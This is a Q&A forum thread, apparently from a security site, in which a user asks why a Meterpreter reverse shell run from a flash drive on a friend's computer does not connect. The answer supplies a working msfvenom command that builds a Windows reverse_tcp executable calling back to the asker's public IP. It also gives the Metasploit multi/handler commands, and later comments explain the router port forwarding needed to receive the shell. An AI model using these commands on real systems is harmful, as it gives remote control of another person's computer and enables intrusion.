i have a problem with using meterpreter. Here's what i did i'll tell it by using pictures of what i do step by step.

First i created my payload and set the LHOST to my public ip address and generate it. enter image description here

and then setting my LHOST to my local ip and then execute. I copied my payload through FLASH DRIVE and go to my friend's house. I just run it to his computer (Different network) but its inside my flash drive, i did not copied it inside his computer. (I explain it to my friend what it is and he got my permission)

now the problem is nothing happens. it's stock with "Starting the payload handler...". I already configure my router for port forward you can see the picture below. enter image description here

  • please do not post images: copy/paste the text .... – schroeder Jun 30 '17 at 9:50

Doing that you are setting Metasploit into a "listening" state. Now you are missing the other part. The "victim" should execute the generated executable file and if the victim machine is able to connect to your Metasploit machine, the Meterpreter session will be opened. If the Metasploit machine is behind a firewall, you should open the port from your firewall to the Metasploit machine. Other thing I saw bad on your screenshots is LHOST is not the same on your executable creation and setting the LHOST on the Meterpreter payload. The ip should be the same, is the ip of your Metasploit machine. From your example I guess your ip 124.x.x.x is your Metasploit machine ip.

Anyway, I think is easier to create the executable file using msfvenom. Doing this (outside msfconsole):

msfvenom -p windows/meterpreter/reverse_tcp LHOST=124.x.x.x LPORT=4444 -f exe > /some/path/hehe.exe

Replace /some/path/ with a real existing path on your Linux to deploy there the executable file.

Then on Metasploit you should execute only this:

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 124.x.x.x

After this, Metasploit is ready to receive connections. Then execute the executable file on victim machine and the Meterpreter session will be opened.

I insist, is very important that the victim machine must be able to reach the ip of the Metasploit machine on the port set (4444 on your example).

Good luck.

| improve this answer | |
  • The IP in the payload needs, in your situation, to be your public IP address NOT your internal as well. – ISMSDEV Jun 29 '17 at 17:50
  • My victim(friend) is in different network. And im just wondering why use the same IP? the first IP i used is my public ip address where you can find on google i search it and the second ip i used is my eth0 ip address. Btw, im using vmware for the kali linux. – nethkennnnn Jun 29 '17 at 17:52
  • you should use on that scenario your public ip address what is accessible from anywhere. You'll need to open your port 4444 from your firewall/router to your internal ip in order to make the connection possible. Don't forget to mark question as resolved if your doubts are resolved. Maybe could be useful for other users. – OscarAkaElvis Jun 29 '17 at 18:00
  • Im running my kali linux on vmware. Where will i trigger the firewall through my main OS whic is windows? Or in router there are IP/PORT Filter is that it? – nethkennnnn Jun 29 '17 at 18:06
  • 1
    I think you have here all the info to solve your problem. Anyway, this conversation is not related to security. You should read tcp/ip basics manual to know how NAT work before doing this kind of labs. – OscarAkaElvis Jun 29 '17 at 18:10

Not the answer you're looking for? Browse other questions tagged or ask your own question.